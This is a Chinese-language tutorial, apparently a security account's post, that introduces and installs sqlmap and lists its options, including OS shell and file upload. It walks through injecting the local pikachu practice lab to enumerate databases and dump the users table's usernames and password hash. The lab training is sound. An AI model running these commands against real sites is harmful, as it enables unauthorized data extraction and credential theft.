Sqlmap的介绍与安装
什么是Sqlmap
Sqlmap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL和SQL注入漏洞,其广泛的功能和选项包括数据库指纹,枚举,数据库提权,访问目标文件系统,并在获取操作权限时执行任意命令。
Sqlmap是开源的自动化SQL注入工具,由Python写成,具有以下特点:
1、完全支持MySQL、Oracle、PostgreSQL、MSSQL、Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
2、完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
3、在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
4、支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列
5、支持自动识别密码哈希格式并通过字典破解密码哈希。
6、支持完全地下载某个数据库中的某个表、也可以只下载某个表中的某几列。
7、支持在数据库管理系统中搜索指定的数据库名、表名和列名。
8、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持下载或上传文件。
9、当数据库管理系统是MySQL、PostgreSQL或者MSSQL时支持执行任意命令并回显标准输出。
安装Sqlmap
安装环境
因为Sqlmap是用python语言编写的,所以我们在使用sqlmap之前要先安装python环境,这里我们使用的是Python3。
关于python环境安装还有不清楚的朋友可以去看一下我们之前发的一篇文章,里面详细的介绍了Java从安装到配置环境的详细步骤。
安装Sqlmap
python环境安装成功后下载sqlmap工具,这里推荐官网下载,官网地址:sqlmap: automatic SQL injection and database takeover tool
下载并解压后打开文件所在位置,在空白处摁住shift键并点鼠标右键打开shell。
在打开的shell中输入下列命令:
python sqlmap.py -h
出现以下界面则说明python环境和sqlmap工具已经配置成功。
创建Sqlmap快捷方式
这样每次使用sqlmap时需要到文件当前路径打开命令窗口的方式太麻烦,我们可以在电脑桌面创建sqlmap快捷方式来方便我们使用,创建步骤如下:
在桌面空白位置位置右键-新建-快捷方式
在对象位置处输入 C:\windows\system32\cmd.exe
点击下一步,给快捷方式取名为sqlmap,点击完成会在桌生成一个名为sqlmap的快捷方式,右键快件方式图标点击属性。
在起始位置处输入sqlmap文件的绝对路径。(注:绝对路径指的是文件所在位置的全路径,找到文件点击属性即可查看)
点击确认,完成sqlmap快捷方式的创建,使用sqlmap时双击sqlmap快捷方式即可打开命令行窗口。
Sqlmap的使用
Sqlmap参数
下面是一些比较常用的参数
-h 输出参数说明
-hh 输出详细的参数说明
-v 输出级别(0~6,默认1)
-u url 指定url
--data=DATA 该参数指定的数据会被作为POST数据提交
-r file.txt 常用于POST注入或表单提交时注入
-p / --skip 指定/跳过测试参数
--cookie 设置cookie
--force-ssl 强制使用SSL
--threads 指定线程并发数
--prefix 指定前缀
--suffix 指定后缀
--level 检测级别(1~5,默认1)
--risk 风险等级(1~4,默认1)
--all 列举所有可访问的数据(不推荐)
--banner 列举数据库系统的信息等
--current-user 输出当前用户
--current-db 输出当前所在数据库
--hostname 输出服务器主机名
--is-dba 检测当前用户是否为管理员
--users 输出数据库系统的所有用户
--dbs 输出数据库系统的所有数据库
-D DB 指定数据库
--tables 在-D情况下输出库中所有表名
-T table 在-D情况下指定数据表
--columns 在-D -T情况下输出表中所有列名
-C column 在-D -T情况下输出某列数据的值
--dump 拉取数据存放到本地
--dump-all 拉取所有可访问数据存放到本地
--count 输出数据条目数量
--search 搜索数据库名、表明、列名,需要与-D -T或-C 联用
--sql-query 执行任意的SQL语句
--sql-shell 使用交互式SQL语句执行环境
--flie-read 读取文件
--file-write 上传文件(指定本地路径)
--file-dest 上传文件(指定目标机器路径)
--os-cmd 执行任意系统命令
--os-shell 使用交互式shell执行命令
--batch 所有要求输入都选取默认值
--wizard 初学者向导
下面我们通过pikachu靶场的SQL-Inject部分题目来练习Sqlmap的使用
SQL-Inject
概述
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了”拼接”的方式,所以使用时需要慎重!
数字型注入(post)
首先我们要判断这里的注入类型。
sqlmap -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --batch --forms
//检测get型和post型注入
可以看出返回的结果是post,而使用sqlmap跑post方式时的格式为:
sqlmap.py -u "<url>" --data="<post提交的参数>" -<参数>
这里提交的参数为id=1&submit=%E6%9F%A5%E8%AF%A2
使用Sqlmap跑数据库
sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" - f --dbms mysql --dbs --batch
#--dbms 默认情况下会探测web应用后端的数据库是什么;该步骤--dbms mysql 制定了数据库类型为myslq数据库
#--dbs 当用户有权读取时,列出所有的数据库
#--batch 该参数使用后不需要用户输入,将会使用sqlmap给的默认提示走下去
可以得到两个数据库的名称:information_schema,pikachu
查询数据库pikachu下面的表
sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -f --dbms mysql -D pikachu --tables --batch
# -D pikachu 指定数据库pikachu
#--tables 当有权限读取pikachu数据库中的表tables的时候,读取出表
可以得到pikachu数据库下的表:member,httpinfo,message,users,xssblind
再来获取获取表users中的列
sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -
f --dbms mysql -D pikachu -T users --columns --batch
#-T users 指定表名users
#--columns 当有权限读取表users中的列的时候读取表users中的列
就可以得到users表中的列名:level,id,password,username
获取列username和password中的字段内容
sqlmap.py -u "http://localhost/pikachu/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" -
f --dbms mysql -D pikachu -T users -C username,password --dump --batch
#-C username,password 指定读取列username和password中的字段内容
#--dump 抛出前面指定内容
可以得到用户名admin,及其对应的密码的MD5:e10adc3949ba59abbe56e057f20f883e,以及解码后的明文:123456
微信公众号二维码
扫一扫关注CatalyzeSec公众号
我们一起来从零开始学习网络安全